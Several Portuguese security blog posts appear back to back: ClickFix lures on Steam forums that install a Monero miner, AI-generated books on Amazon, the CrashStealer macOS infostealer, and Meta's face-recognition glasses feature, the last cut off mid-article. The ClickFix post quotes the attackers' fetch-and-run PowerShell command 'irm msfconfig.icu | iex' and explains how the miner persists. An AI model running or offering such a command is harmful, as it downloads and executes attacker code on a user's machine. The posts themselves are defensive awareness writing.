Este ano, houve uma verdadeira explosão de ataques ClickFix. O golpe faz tanto sucesso entre os criminosos que mal terminamos de escrever sobre uma variante e já surge outra.
Desta vez, os invasores estão de olho nos gamers: jornalistas de tecnologia identificaram publicações com dicas maliciosas nos fóruns da Steam. Veja como são essas publicações, qual malware elas ajudam a disseminar e como manter seu dispositivo protegido.
ClickFix chega aos fóruns da Steam
Muitos gamers recorrem a outros jogadores nos fóruns da Steam em busca de ajuda e dicas para superar uma missão difícil, subir de nível, conseguir os melhores itens ou contornar um bug. É justamente essa confiança nas recomendações da comunidade que os invasores decidiram explorar.
O ataque começa quando criminosos respondem a uma pergunta sobre travamentos no jogo, itens ausentes no inventário ou outros problemas técnicos. Fingindo ser comentaristas prestativos, eles sugerem abrir o PowerShell como administrador e executar um comando que supostamente resolveria o problema do usuário.
Ao disfarçar a publicação como uma orientação para solucionar problemas, o agente malicioso sugere executar o PowerShell como administrador e, em seguida, um comando que supostamente resolveria o problema do usuário. Fonte
Como dá para imaginar, executar o comando não resolve nada e só cria um problema muito maior. Essa é justamente a lógica do ClickFix: usar engenharia social para induzir as vítimas a executar ações inseguras por conta própria, fornecendo aos golpistas os meios necessários para comprometer o dispositivo. Já abordamos outros truques do ClickFix, como CAPTCHAs falsos, erros de navegador forjados e outros, todos baseados em fazer a própria vítima executar o comando malicioso. Você pode saber mais sobre as diferentes variações de ataques ClickFix em uma postagem anterior.
A astúcia de usar o ClickFix nos fóruns da Steam é que o ataque pode atingir não apenas o jogador que pediu ajuda. Muitos outros gamers que tiverem o mesmo problema e encontrarem a resposta em uma busca no Google também podem cair no golpe.
Entenda rapidamente: o que realmente existe por trás do comando irm | iex
Antes de explicar o que os invasores realmente induzem os gamers a instalar dessa maneira, é importante apresentar um pouco do contexto técnico. Para começar, as publicações nos fóruns da Steam orientam as possíveis vítimas, sem que elas desconfiem, a executar o seguinte comando no PowerShell:
irm msfconfig.icu | iex
Para quem não conhece o PowerShell em detalhes, essa linha pode parecer bastante inofensiva, pois lembra a inicialização do MSConfig, o utilitário de configuração do sistema integrado ao Windows, com alguns parâmetros adicionais.
Na verdade, está longe de ser inofensiva. Veja o que cada parte desse comando realmente faz:
irm é a forma abreviada do comando integrado Invoke-RestMethod do PowerShell. Acessa o endereço da Web indicado mais adiante na linha e recupera os dados retornados.
icu é esse endereço da Web, e não o nome de um arquivo local, como pode parecer à primeira vista. Trata-se do servidor dos invasores, que responde à solicitação irm com um script malicioso do PowerShell.
iex é outro comando integrado do PowerShell, Invoke-Expression. Ele recebe o conteúdo obtido por irm nesse endereço da Web e o executa como código do PowerShell.
Quando essa linha de código do PowerShell é executada, ela baixa um script do site especificado e o executa imediatamente. Como um usuário do Reddit observou corretamente, é possível descobrir com segurança qual código seria baixado para o dispositivo, sem correr o risco de executá-lo, simplesmente removendo a segunda parte, iex. Sem ela, o comando apenas baixa o conteúdo do script e o exibe na janela do PowerShell, sem executá-lo. Assim, é possível ver o código completo e sem ofuscação que estão pedindo para executar no dispositivo. Agora, vejamos o que esses supostos usuários prestativos dos fóruns da Steam realmente querem que os gamers instalem em suas máquinas.
Um minerador de criptomoedas, não uma ferramenta de otimização
Os invasores fizeram a lição de casa: o script do PowerShell baixado do servidor deles imita de forma convincente um utilitário de otimização do Windows. Após iniciado, ele exibe notificações informando que exclui arquivos temporários, limpa o cache DNS, atualiza drivers, verifica erros no disco e malware, desativa aplicativos desnecessários na inicialização, repara a imagem do Windows e verifica a integridade dos arquivos do sistema.
O script exibe uma sequência de mensagens sobre diversas tarefas falsas de otimização para dar a impressão de que está realizando uma manutenção útil. Fonte
Enquanto isso, a atividade real acontece nos bastidores. Primeiro, o script verifica se está sendo executado com privilégios de administrador. Em caso afirmativo, cria uma pasta de trabalho oculta em C:\Windows\Background e a adiciona à lista de exclusões do Microsoft Defender. A partir daí, os arquivos colocados nessa pasta deixam de ser verificados pelo antivírus integrado do Windows.
Em seguida, o script prepara o sistema para a próxima etapa do ataque e baixa um arquivo executável do servidor dos invasores, salvando-o na mesma pasta C:\Windows\Background com o nome system.exe, que parece legítimo.
O arquivo baixado é o XMRig, uma das ferramentas mais populares para mineração da criptomoeda Monero. O XMRig em si não é um malware, mas uma ferramenta de mineração legítima e de código aberto. O problema é que os invasores o instalam nos computadores das vítimas sem o conhecimento delas. Quando está em execução, o poder de processamento do dispositivo é sequestrado para minerar Monero, e o valor em criptomoedas vai diretamente para os criminosos.
Isso torna os PCs gamers modernos alvos especialmente atraentes: eles contam com CPUs e GPUs potentes, exatamente o tipo de hardware excelente para mineração de criptomoedas.
Para garantir que o malware continue ativo após uma reinicialização, o script também cria uma nova tarefa no Agendador de Tarefas do Windows: XMRig-{computer name}. A partir daí, o minerador de criptomoedas é iniciado automaticamente sempre que o sistema é ligado.
Como proteger seu dispositivo contra mineradores de criptomoedas e outros malwares
Infelizmente, muitos gamers relutam em instalar software de segurança ou mantê-lo em execução em seus dispositivos. O principal motivo é o mito persistente de que “um antivírus deixa o jogo mais lento”. Já abordamos pesquisas sobre isso em nosso blog, e os resultados mostraram que não há impacto significativo no desempenho ao usar um antivírus durante os jogos.
Já os mineradores de criptomoedas realmente prejudicam o desempenho e ainda aceleram o desgaste do hardware. Então, como manter seu PC gamer e suas contas longe de riscos?
Evite executar scripts no PowerShell, Terminal ou outros prompts de comando que pessoas desconhecidas recomendem copiar e executar, seja em fóruns, chats ou comentários.
Antes de pressionar Enter em qualquer comando que você não entenda por completo, pesquise o que ele faz e quais podem ser as consequências de executá-lo.
Não desative a proteção enquanto joga. O ideal é usar uma solução com modo de jogo dedicado. Os produtos de segurança da Kaspersky ativam esse modo automaticamente assim que um jogo é iniciado, adiando atualizações dos bancos de dados de antivírus, notificações e verificações de disco programadas até você terminar de jogar.
Quer saber de que outras formas os invasores atacam gamers? Confira nossas outras postagens:
Um artigo recente publicado na The Atlantic trazia o título contundente The End of Reading Is Here (O fim da leitura chegou). Segundo a matéria, uma pesquisa do National Endowment for the Arts (NEA) constatou que menos de 50% dos adultos americanos leram sequer um livro em 2022, e apenas 38% leram um romance ou conto.
Ao mesmo tempo, o mercado editorial nos Estados Unidos continua quebrando recordes de publicação ano após ano. Em 2025, por exemplo, o número de novos títulos ultrapassou quatro milhões, um aumento de um terço em relação a 2024. Uma enorme parcela desse total, 3,5 milhões de títulos, veio da autopublicação, e um dos principais motores desse mercado é o Kindle Direct Publishing (KDP), da Amazon.
Minha teoria para essa discrepância é a seguinte: ninguém mais lê livros, porque todo mundo está ocupado demais escrevendo-os. Brincadeiras à parte, se ainda houver algum leitor por aí, provavelmente já terá adivinhado aonde quero chegar: à toda-poderosa IA. Um tempo atrás, uma jornalista de tecnologia do New York Times se surpreendeu ao encontrar sua própria biografia na Amazon. Uma rápida olhada confirmou que ela havia sido escrita por IA. Ao investigar mais a fundo o universo da publicação de livros por IA, ela se deparou com o trabalho de um consultor de cibersegurança aposentado e extraordinariamente prolífico. O que aconteceu depois, e onde encontrar informações confiáveis na era da IA, é o tema deste post.
O começo da história: como uma jornalista seguiu o Coelho Branco e caiu na toca
Vamos começar do início. No verão de 2026, a jornalista de tecnologia do New York Times Kashmir Hill descobriu por meio de um conhecido que uma biografia sua havia sido publicada na Amazon um ano antes. O título era The Biography of Kashmir Hill: The New York Times Technology Journalist Who Exposed Clearview AI, Challenged Big Tech and Redefined Privacy in the Digital Age. E ela ficou mais do que surpresa, pois ninguém havia entrado em contato com ela ou com qualquer pessoa que conhecesse para fazer uma pesquisa sobre o livro.
“Alice pôs-se de pé num salto, pois lampejou-lhe na mente que nunca antes vira um coelho com um bolso de colete, nem com um relógio para tirar dele… “
O autor era um certo John Crane Miller, e a foto em sua página na Amazon era uma imagem genérica de banco de imagens de um homem branco do tipo que aparece por toda a Internet. Hill não conseguiu encontrar nenhum detalhe pessoal nem informação de contato sobre ele. Ao investigar mais a fundo o perfil dele na Amazon, porém, descobriu outra coisa: em uma única semana no verão de 2025, ele publicou biografias de Hill e de mais nove jornalistas americanos. Até o leitor mais crédulo teria dificuldade para acreditar que um gênio literário conseguiria produzir tamanho volume sem uma ajudinha robótica.
A biografia da jornalista Kashmir Hill gerada por IA, que ela encontrou por acaso na Amazon. Fonte
Ainda assim, a edição de capa dura da biografia de Kashmir Hill custava US$ 26,99, embora tivesse apenas 90 páginas. Depois de lê-la, Hill descobriu toda uma série de “fatos” sobre si mesma que jamais conhecera, incluindo uma descrição detalhada de seu ritual de preparo do café que, como observa a jornalista, na verdade é tarefa do marido. Miller chegou a afirmar no texto que havia lido o diário de infância de Kashmir Hill.
“…e, ardendo de curiosidade, correu pelo campo atrás dele, e felizmente chegou a tempo de vê-lo entrar de chofre numa toca de coelho grande sob a sebe. “
Hill não conseguiu localizar o autor de sua biografia. Deixou um comentário na página do livro na Amazon pedindo que ele entrasse em contato. Ninguém respondeu e, pouco depois, todos os livros do perfil de John Crane Miller desapareceram.
Mas isso lhe deu uma pista sobre vários outros autores de IA na Amazon. Em particular, ela encontrou um certo Bill Johns, cuja página de autor exibia impressionantes 445 livros. Sem esperar que desse em muita coisa, perguntou a Johns se ele aceitaria conceder uma entrevista e ficou bastante surpresa quando ele concordou. Foi provavelmente nesse momento que a investigação de Kashmir Hill se transformou em uma verdadeira viagem pela toca do coelho da IA…
“No momento seguinte, lá se foi Alice atrás dele, sem considerar, nem por um momento, como no mundo sairia de lá novamente. “
As IAventuras de Bill no País das Maravilhas
Bill Johns se aposentou em 2024, depois de construir carreira como consultor de cibersegurança. Em 2025, decidiu experimentar o ChatGPT e, em algumas semanas, usou a ferramenta para gerar seu primeiro livro. O tema era cibersegurança, mais especificamente a história do hacking, e a obra foi publicada com o nada original título Ghosts in the Machine. Johns vendeu apenas alguns exemplares, mas isso não o impediu de gerar outros 444 livros no ano seguinte.
Página de autor de Bill Johns na Amazon. Em um único ano, ele publicou 445 livros, sobre temas que vão de cibersegurança e… Pontes a esportes, biografias e filosofia. Fonte
Esse número impressionante inclui, por exemplo, uma série de 13 livros sobre cibersegurança que, além da já mencionada história do hacking, contém os seguintes títulos (em tradução livre):
The Cybersecurity Blueprint: Building and Operationalizing a Complete Defensive Strategy (O Plano diretor de cibersegurança: Construindo e operacionalizando uma estratégia defensiva completa)
Hardware Fortress: The Role of Data Diodes in Protecting Critical Infrastructure (Fortaleza do hardware: O papel dos diodos de dados na proteção de infraestruturas críticas)
Zero Trust: Redefining Security in a Perimeterless World (Zero confiança: Redefinindo a segurança em um mundo sem perímetros)
Evolving Threats, Evolving Chains: Cybersecurity for the Modern Supply Chain (Ameaças em evolução, cadeias em evolução: cibersegurança para a cadeia de suprimentos moderna)
The Integration Imperative: Cybersecurity for Legacy OT/ICS: Overcoming the Challenges of Digital Transformation in Critical Infrastructure (O imperativo da integração: Cibersegurança para OT/ICS legados — superando os desafios da transformação digital em infraestruturas críticas
A cibersegurança está longe de ser o único tema, ou sequer o principal, na mente desse prolífico autor. Além dela, a obra de Bill Johns abrange esportes, pontes, bebidas alcoólicas de todos os tipos, como saquê e uísque, biografias de personalidades, aviação militar e filosofia. Em resumo, é difícil pensar em um assunto sobre o qual Johns ainda não tenha escrito um livro.
O “processo criativo” de Johns consiste em planejar os capítulos de um livro com o ChatGPT e depois escrever cada um gradualmente. Segundo o próprio Johns, pedir à IA que gere um capítulo inteiro de uma só vez não funciona muito bem (para surpresa de ninguém…). Então, é melhor produzir o texto aos poucos. Quando necessário, ele pede ao ChatGPT que faça revisões. Depois da publicação, compra na Amazon um exemplar de cada um de seus 445 livros, mas apenas para colocá-lo na estante, já que lê-los provavelmente não faz parte do plano. Na visão de Johns, ele leu os livros enquanto estavam sendo gerados. E isso basta.
A meta desse titã literário é gerar 10 livros por semana, exatamente o máximo que a Amazon permite nesse período. Há apenas três anos, esse limite era duas vezes maior. Dito isso, ao contrário do autor da biografia de Kashmir Hill, os livros de Johns costumam ser consideravelmente mais longos.
O toque final no retrato desse incansável autor de autopublicação é, bem, o próprio retrato que aparece em sua página de autor na Amazon e na contracapa de todos os seus livros. Johns não esconde que a imagem também foi gerada por IA e explica a escolha com sua praticidade e franqueza características: “Era isso ou vestir um terno e tirar selfies.”
Johns deixou a IA cuidar até da sua foto de autor. Vestir-se bem e tirar uma selfie aparentemente dava trabalho demais. Fonte
A economia do País das Maravilhas da IA: curioso, cada vez mais curioso
Qualquer leitor minimamente atento inevitavelmente se pergunta: por que Bill Johns e outros produtores de livros gerados por IA se dão a esse trabalho, e em tamanha escala? Claro, alguém poderia “escrever” um livro só para colocar o link no currículo, acrescentar com orgulho “autor na Amazon” às bios das redes sociais e contar a desconhecidos no bar que é escritor. Talvez, por garantia, produzir mais alguns. Mas por que gerar mais de 400 livros?
A resposta está no modelo econômico que a Amazon criou muito antes de a IA entrar em cena. Ao contrário das editoras tradicionais, a Amazon não imprime uma tiragem antecipadamente. A maioria dos livros publicados pelo Kindle Direct Publishing segue um modelo de impressão sob demanda: o exemplar físico só é impresso quando um cliente faz o pedido na Amazon.
É assim que um autor consegue lançar um livro praticamente sem custo inicial. E, principalmente, sem o risco de acumular em um depósito exemplares não vendidos que já foram pagos e impressos. Em outras palavras, listar centenas de livros na loja on-line custa quase nada tanto para a Amazon quanto para o autor.
Com custos de investimento próximos de zero, até uma demanda modesta pode gerar lucro real. Bill Johns, por exemplo, vende algumas centenas de livros por mês a leitores desavisados. Em uma temporada de festas de fim de ano, de dezembro ao início de janeiro, as vendas chegaram a 821 exemplares, rendendo cerca de US$ 6.000 como complemento à aposentadoria.
Alguns livros de IA rendem ainda mais dinheiro aos autores. É o caso da biografia gerada por IA do ativista político americano Charlie Kirk, que se tornou um best-seller na Amazon após seu assassinato. Os leitores não ficaram satisfeitos e, depois de dezenas de avaliações com expressões como “entorpecente”, “golpe” e “uma vergonha”, a Amazon retirou o livro da plataforma. Ainda assim, é provável que o serviço tenha vendido milhares de exemplares da biografia antes disso, gerando um lucro considerável tanto para a Amazon quanto para o autor.
Como distinguir um corvo de uma escrivaninha
Em um mundo saturado de IA, distinguir o que é feito por humanos do que é feito por máquinas é cada vez mais relevante. E a Amazon está longe de ser o único marketplace on-line que alimenta ativamente a disseminação de lixo de IA, portanto há todos os motivos para acreditar que a situação só tende a piorar.
Para evitar mais uma leva de alucinações nada inspiradoras produzidas por chatbots, recomendamos recorrer a fontes confiáveis quando o assunto realmente importa. Em matéria de conhecimento especializado sobre cibersegurança, por exemplo, nosso blog é um bom ponto de partida. Ao contrário de certos consultores aposentados superprodutivos, escrevemos tudo por conta própria e assumimos a responsabilidade por cada palavra.
Para saber mais sobre cibersegurança em livros e filmes, confira outras publicações do nosso blog:
Os usuários de Mac historicamente confiaram na segurança de seu sistema operacional. Essa tranquilidade vem principalmente do controle estrito da Apple sobre o ecossistema e do fato de que o macOS sempre enfrentou menos ataques em massa do que o Windows. No entanto, isso não significa que os computadores Mac não tenham vulnerabilidades: as ameaças existem, e novas surgem o tempo todo. Nas últimas semanas, pesquisadores de segurança publicaram relatórios sobre pelo menos duas novas campanhas direcionadas a dispositivos Apple.
O malware usado em uma das campanhas foi apelidado de CrashStealer, enquanto o outro é conhecido como ClickLock. Ambos usam truques diferentes para forçar usuários a inserir a senha do Mac, que os invasores usam para roubar credenciais de contas, ativos de criptomoedas, documentos e muito mais. No post de hoje, analisamos em detalhes como o CrashStealer funciona e como evitar ser vítima dele.
Um aplicativo de videoconferência com o CrashStealer embutido
Em maio de 2026, pesquisadores identificaram os primeiros sinais de desenvolvimento desse malware e, no início de julho, detectaram sua atuação em ambiente real. O malware recebeu esse nome devido ao seu mecanismo principal: ele se disfarça da ferramenta integrada de geração de relatórios de falhas do macOS (CrashReporter), enquanto funciona como um infostealer criado para sequestrar dados confidenciais.
Os pesquisadores conseguiram rastrear um dos sites que os usuários visitaram para baixar o malware. O site se passa por uma plataforma legítima de distribuição da ferramenta de videoconferência Werkbit.
Segundo os pesquisadores, esse foi o site usado pelas vítimas para baixar o Werkbit, que continha, sem que elas soubessem, o malware loader CrashStealer. Fonte
No entanto, você não pode simplesmente visitar o site e baixar o software. Antes de iniciar o download, a pessoa precisa informar um PIN de reunião. Essa configuração provavelmente permite que os invasores limitem o alcance da campanha, direcionando-a apenas a vítimas específicas previamente selecionadas. Ainda não se sabe exatamente como os cibercriminosos escolhem seus alvos nem como entregam o PIN.
As pessoas “sortudas” que recebem um código acabam instalando a carga maliciosa inicial, chamada Werkbit Setup. Curiosamente, a carga maliciosa possui um certificado de desenvolvedor da Apple válido e foi aprovada no processo de autenticação de aplicativos da empresa, o que indica que passou pela verificação automatizada destinada a detectar código malicioso. Como resultado, os invasores conseguem contornar o Gatekeeper, mecanismo de proteção integrado do sistema operacional. Isso permite que a carga útil seja iniciada sem acionar os avisos usuais de software não confiável.
[caption] O instalador Werkbit Setup é assinado com um certificado válido de desenvolvedor da Apple e passou pelo processo de autenticação de aplicativos da empresa. Fonte
[/caption]Depois de iniciado, o Werkbit Setup primeiro se conecta ao GitHub. Pesquisadores acreditam que o uso dessa plataforma ajuda os invasores a passar despercebidos, fazendo com que as solicitações iniciais de rede pareçam muito menos suspeitas para as ferramentas de segurança. Depois de obter instruções de um repositório no GitHub, o programa se conecta diretamente ao servidor dos invasores para baixar o próprio CrashStealer.
Em seguida, o carregador salva o malware em uma pasta temporária do macOS, executa-o e apaga a maioria dos arquivos intermediários da instalação. Como resultado, em poucos segundos após a execução do Werkbit Setup, um infostealer totalmente funcional está em operação. Vale destacar que o usuário nunca recebe o aplicativo de videoconferência prometido.
Como o CrashStealer funciona
Ao contrário do carregador Werkbit Setup, o malware CrashStealer em si não é assinado com um certificado de desenvolvedor da Apple. Para evitar que os usuários desconfiem, o malware se disfarça da ferramenta de relatório de falhas do macOS, o CrashReporter, usando exatamente o mesmo nome, identificador de aplicativo e um ícone semelhante.
Depois de executado, o CrashStealer realiza uma sequência de etapas para obter acesso a dados confidenciais, estabelecer persistência no sistema e ocultar rastros:
Remove metadados, incluindo o atributo que identifica o aplicativo como um arquivo baixado da Internet.
Exibe uma solicitação falsa do sistema pedindo a senha do macOS do usuário.
Usa as credenciais capturadas anteriormente para acessar o Keychain, o gerenciador de senhas integrado do macOS.
Verifica se há ferramentas de segurança e softwares de análise de malware instalados no computador.
Coleta senhas salvas nos navegadores, cookies, dados do Keychain e informações de outros gerenciadores de senhas e carteiras de criptomoedas.
Criptografa os dados roubados e os prepara para envio ao servidor dos invasores.
Cria uma cópia de si mesmo e estabelece persistência para ser executado automaticamente sempre que o macOS é inicializado.
Exclui arquivos temporários e outros vestígios da instalação para dificultar ainda mais a detecção.
A segunda etapa merece uma análise mais detalhada. A solicitação de senha exibida ao usuário é extremamente convincente. Além disso, o malware verifica imediatamente se as credenciais estão corretas: se a pessoa cometer um erro de digitação e inserir uma senha inválida, o CrashStealer exibirá a janela novamente para que ela tente outra vez.
[caption] Depois de ser executado, o CrashStealer exibe uma janela pop-up que simula a solicitação padrão de senha do macOS. Fonte
[/caption]
Quais dados o CrashStealer tenta roubar?
A lista de alvos do CrashStealer é extensa. O principal alvo é o Keychain, o gerenciador de credenciais integrado do macOS, onde o sistema armazena credenciais de contas, chaves criptográficas, certificados, tokens e outros dados confidenciais.
Os usuários de gerenciadores de senhas de terceiros também não estão protegidos: o malware rouba dados de 14 desses serviços, incluindo 1Password, Bitwarden, LastPass, Dashlane, Keeper, KeePassXC, NordPass, Enpass e RoboForm.
Além disso, o malware coleta todas as credenciais e cookies armazenados em navegadores baseados no Chromium (Chrome, Brave, Edge, Opera, Opera GX, Vivaldi, Chromium e NAVER Whale) bem como no Firefox. Os invasores demonstram ter um grande interesse em ativos de criptomoedas: o CrashStealer tem como alvo específico os dados de 80 extensões diferentes de carteiras de criptomoedas, incluindo MetaMask, Phantom, Coinbase Wallet, Trust Wallet, Rabby, Exodus, Keplr e Solflare.
Por fim, o malware verifica as pastas Documentos e Downloads em busca de arquivos que possam ser de interesse dos cibercriminosos. O CrashStealer criptografa todos os dados roubados com o algoritmo AES-256-GCM, os compacta em um arquivo ZIP e os envia ao servidor dos invasores.
Como proteger seu dispositivo
O aumento dos ataques direcionados ao macOS é um claro sinal de alerta: quem usa dispositivos Apple precisa adotar uma postura mais proativa em relação à segurança. Recomendamos:
Pesquisar sobre os aplicativos na Internet antes de instalá-los
Dar preferência a utilitários disponíveis nas lojas de aplicativos oficiais sempre que possível
As soluções de segurança da Kaspersky detectam o malware descrito nesta publicação e atribuem a ele os veredictos HEUR:Trojan-Downloader.OSX.Agent.gen e HEUR:Trojan-PSW.OSX.Agent.gen.
As gigantes da tecnologia estão apostando mais uma vez nos óculos inteligentes. A ideia há muito tempo fascina escritores de ficção científica e seus maiores entusiastas: os habitantes do Vale do Silício. Muitos ainda se lembram do Google Glass, a primeira tentativa concreta de criar um dispositivo desse tipo, lançada em 2012. O projeto acabou entrando para a história como um dos poucos grandes fracassos do Google.
Após o fracasso retumbante do Google, outras gigantes da tecnologia, como Meta, Apple e Microsoft, deixaram de lado a ideia de óculos elegantes e leves para concentrar seus esforços em headsets de realidade virtual mais robustos. Um dos principais motivos para essa mudança foi que a tecnologia disponível na década de 2010 ainda não era suficientemente avançada para oferecer recursos de alto desempenho e uma boa autonomia de bateria em um par de óculos compacto.
Por enquanto, porém, a parceria entre a Ray-Ban e a Meta é a líder incontestável do mercado. Em 2025, as empresas lançaram seus óculos inteligentes mais avançados, vendendo mais de 7 milhões de unidades somente naquele ano.
No entanto, desde o início de 2026, os óculos Ray-Ban Meta vêm sendo alvo de uma série de polêmicas negativas. Todas giram em torno de um recurso que permitiria à câmera dos óculos reconhecer rostos em seu campo de visão. Quando ativado, o sistema notificaria o usuário sempre que identificasse uma pessoa.
O que são exatamente os óculos Ray-Ban Meta?
A Ray-Ban e a Meta uniram forças pela primeira vez em 2020. Na época, esses óculos elegantes e de alta tecnologia foram concebidos como um complemento para o Metaverso, o ambicioso projeto de realidade virtual de Mark Zuckerberg. No fim das contas, porém, os óculos sobreviveram ao projeto para o qual foram criados. Mas não vamos jogar mais sal na ferida de Zuckerberg. Em 2021, Ray-Ban e Meta lançaram sua primeira colaboração: os Ray-Ban Stories. Dois anos depois, a nova geração chegou ao mercado com um nome mais simples: Ray-Ban Meta. Em 2025, o próprio Mark Zuckerberg apresentou os Ray-Ban Meta Gen 2, equipados com inteligência artificial. É essa versão que vamos analisar.
Mark Zuckerberg usando os óculos Meta Ray-Ban Display durante a apresentação dos Ray-Ban Meta Gen 2, em 2025. Fonte
Diferentemente dos primeiros Ray-Ban Meta, a geração Gen 2 foi posicionada como um dispositivo voltado para atividades físicas e para o uso cotidiano. Inicialmente, as empresas ofereceram dois modelos de armação, Wayfarer e Headliner, disponíveis em várias cores. As lentes estão disponíveis nas versões transparentes, escuras (para óculos de sol) ou fotocromáticas. Também era possível adquirir lentes de grau mediante pagamento adicional.
No lançamento, os Ray-Ban Meta estavam disponíveis em dois estilos de armação: Wayfarer (acima) e Headliner (abaixo). Source 1 and Source 2
Posteriormente, a Meta ampliou a linha com novas opções de armação, incluindo os Oakley Meta HSTN e Oakley Meta Vanguard (a Oakley é outra marca de óculos pertencente à EssilorLuxottica, a mesma empresa controladora da Ray-Ban). Independentemente do modelo da armação, todos esses dispositivos reúnem o mesmo conjunto de funcionalidades principais:
Captura de fotos e vídeos em primeira pessoa
Reprodução de músicas, podcasts e outros conteúdos de áudio
Realização de chamadas telefônicas
Envio e recebimento de mensagens usando comandos de voz
Tradução de fala em tempo real, com suporte a diversos idiomas
Conversão de fala em texto
Leitura em voz alta de notificações e mensagens
Criação de notas de voz e lembretes
Transmissão de vídeo em primeira pessoa durante chamadas de vídeo do WhatsApp e do Messenger
Navegação em mapas com orientações por voz
Respostas a perguntas do usuário sobre o ambiente ao redor e os objetos em seu campo de visão
Os óculos inteligentes da Meta funcionam por meio de vários componentes integrados. Em primeiro lugar, contam com uma câmera capaz de capturar fotos e gravar vídeos exatamente a partir da linha de visão do usuário. Em segundo lugar, as hastes abrigam alto-falantes abertos (open-ear). Eles permitem ouvir músicas, receber orientações de navegação, atender chamadas e escutar as respostas da Meta AI sem bloquear os sons ao redor com fones intra-auriculares, uma vantagem discutível para quem valoriza a privacidade do áudio.
Por fim, os óculos possuem vários microfones integrados, utilizados para chamadas telefônicas, reconhecimento de comandos de voz e interação com o assistente de inteligência artificial. O que a maioria dos óculos inteligentes da Meta não possui, entretanto, é uma tela. Apenas o modelo mais caro e avançado da linha, o Meta Ray-Ban Display, conta com um visor integrado.
Todas as fotos e vídeos capturados pela câmera dos óculos, bem como as configurações do dispositivo, são armazenados no aplicativo complementar Meta AI, que sincroniza os óculos com um smartphone. É justamente a combinação entre câmera, microfones, alto-falantes e o aplicativo Meta AI que permite ao dispositivo analisar o ambiente ao redor e responder, em tempo real, às solicitações do usuário.
Em comparação com dispositivos como o Apple Vision Pro, os dispositivos da Meta são relativamente acessíveis, custando cerca de US$ 400 a US$ 500. Além disso, a empresa lançou recentemente uma nova linha sob sua própria marca, chamada Meta Glasses, com preço inicial de US$ 299. Com preços nessa faixa, a possibilidade de esses dispositivos se tornarem populares em larga escala deixou de ser ficção científica.
É justamente por isso que os relatos sobre o recurso NameTag são ainda mais alarmantes. Segundo jornalistas e pesquisadores, essa funcionalidade foi projetada para reconhecer pessoas que entram no campo de visão da câmera dos óculos. Vamos entender melhor como isso funciona.
NameTag: o recurso que “não existe”
Informações vazadas de documentos internos da Meta sobre o desenvolvimento de um recurso de reconhecimento facial para os óculos inteligentes da empresa vieram a público, por uma coincidência sinistra, na sexta-feira, 13 de fevereiro de 2026. Os documentos revelam que o recurso, chamado internamente de NameTag, utilizaria o assistente de inteligência artificial integrado da Meta para identificar pessoas capturadas pelo campo de visão da câmera dos óculos e fornecer ao proprietário do dispositivo informações sobre elas.
De acordo com o vazamento, a Meta avaliou duas formas de operar o NameTag. A primeira permitiria reconhecer apenas pessoas que já fazem parte dos contatos existentes do usuário nos serviços da Meta. A segunda seria muito mais abrangente, possibilitando identificar qualquer pessoa com um perfil público nas plataformas sociais da empresa: Instagram, Facebook e, potencialmente, WhatsApp e Messenger.
Os Oakley Meta HSTN, um dos modelos de óculos inteligentes da linha, a partir de US$ 399. Source
Se tudo isso causa arrepios, não se preocupe. A gigante da tecnologia, conhecida por seu compromisso “supostamente inabalável” com a privacidade dos usuários, foi rápida em divulgar uma declaração tranquilizadora:
“Nossos concorrentes oferecem esse tipo de produto com reconhecimento facial; nós não oferecemos. Se algum dia lançarmos um recurso desse tipo, adotaremos uma abordagem muito cuidadosa antes de disponibilizá-lo ao público”.
A prova dessa abordagem supostamente cuidadosa surgiu apenas alguns meses depois. Em junho de 2026, a Wired informou que a Meta havia incorporado discretamente a tecnologia de reconhecimento facial dos seus óculos inteligentes ao aplicativo Meta AI. Segundo os jornalistas, o código foi sendo inserido aos poucos no software ao longo de vários meses, a partir de janeiro de 2026.
Como funciona o recurso que supostamente não existe
Quando a reportagem investigativa foi publicada, o NameTag ainda não estava disponível para os usuários. No entanto, de acordo com a Wired, o código necessário para fazê-lo funcionar já estava presente no aplicativo complementar Meta AI, utilizado pelos proprietários dos óculos inteligentes da empresa e instalado em mais de 50 milhões de smartphones.
O NameTag utiliza três modelos de inteligência artificial para realizar essa tarefa.
O primeiro detecta rostos no campo de visão da câmera.
O segundo isola e recorta esses rostos.
O terceiro converte esses rostos em impressões biométricas únicas.
Segundo a Wired, os três modelos já haviam sido baixados dos servidores da Meta e estavam armazenados nos dispositivos dos usuários. Após o lançamento oficial do recurso, o aplicativo utilizaria essa impressão biométrica para compará-la com um banco de dados de impressões semelhantes armazenado no smartphone do proprietário dos óculos.
Além disso, os jornalistas afirmam que esse banco de dados já estava configurado para buscar atualizações em tempo real da Meta. É plausível imaginar que esse banco de dados pudesse ser criado a partir de perfis públicos nas plataformas da Meta, incluindo fotos que os próprios usuários enviam ao Instagram e ao Facebook. Por enquanto, porém, isso é apenas uma hipótese. Como o recurso oficialmente “não existe”, a Meta não explicou publicamente como esses perfis seriam criados.
Quando uma correspondência fosse encontrada, o sistema notificaria o usuário de que uma pessoa havia sido identificada. No entanto, a tecnologia não simplesmente ignoraria os rostos que não conseguisse identificar. Essas imagens seriam automaticamente recortadas, indexadas e armazenadas em uma pasta separada chamada “Pending” (“Pendente”).
Alguns elementos da interface do aplicativo Meta AI, relacionados ao NameTag, foram implementados e ficaram acessíveis aos usuários na atualização de maio de 2026. Nessa versão, o recurso recebeu o nome muito mais brando de “Connections” (“Conexões”). Segundo sua descrição, ele foi criado para ajudar os usuários a “lembrar das pessoas que encontraram”.
Os Oakley Meta Vanguard, um dos modelos mais caros da linha de óculos inteligentes. Os preços começam em torno de US$ 499. Source
É evidente essa tecnologia é um prato cheio para perseguidores, golpistas, pessoas mal-intencionadas e interessados em desenterrar informações comprometedoras sobre desconhecidos. Bastaria um simples olhar para revelar a identidade digital de alguém e todos os dados associados a ela.
As implicações para a privacidade são ainda mais amplas. A possibilidade de permanecer anônimo entre desconhecidos sempre foi considerada algo natural. Tecnologias como o NameTag nos aproximam de uma realidade de vitrine permanente, na qual o rosto se torna um identificador universal e qualquer encontro casual pode desencadear uma verificação instantânea de antecedentes digitais.
Dar acesso em massa a esse tipo de tecnologia é exatamente o tipo de ideia genial que se esperaria desses tech bros que ainda não conseguem fazer ninguém conversar com eles em um bar. Felizmente, a revelação da existência do NameTag e a reação negativa da opinião pública fizeram com que o código responsável pelo recurso desaparecesse da versão mais recente do aplicativo. Pelo menos, por enquanto.
O recurso desapareceu, mas as perguntas continuam
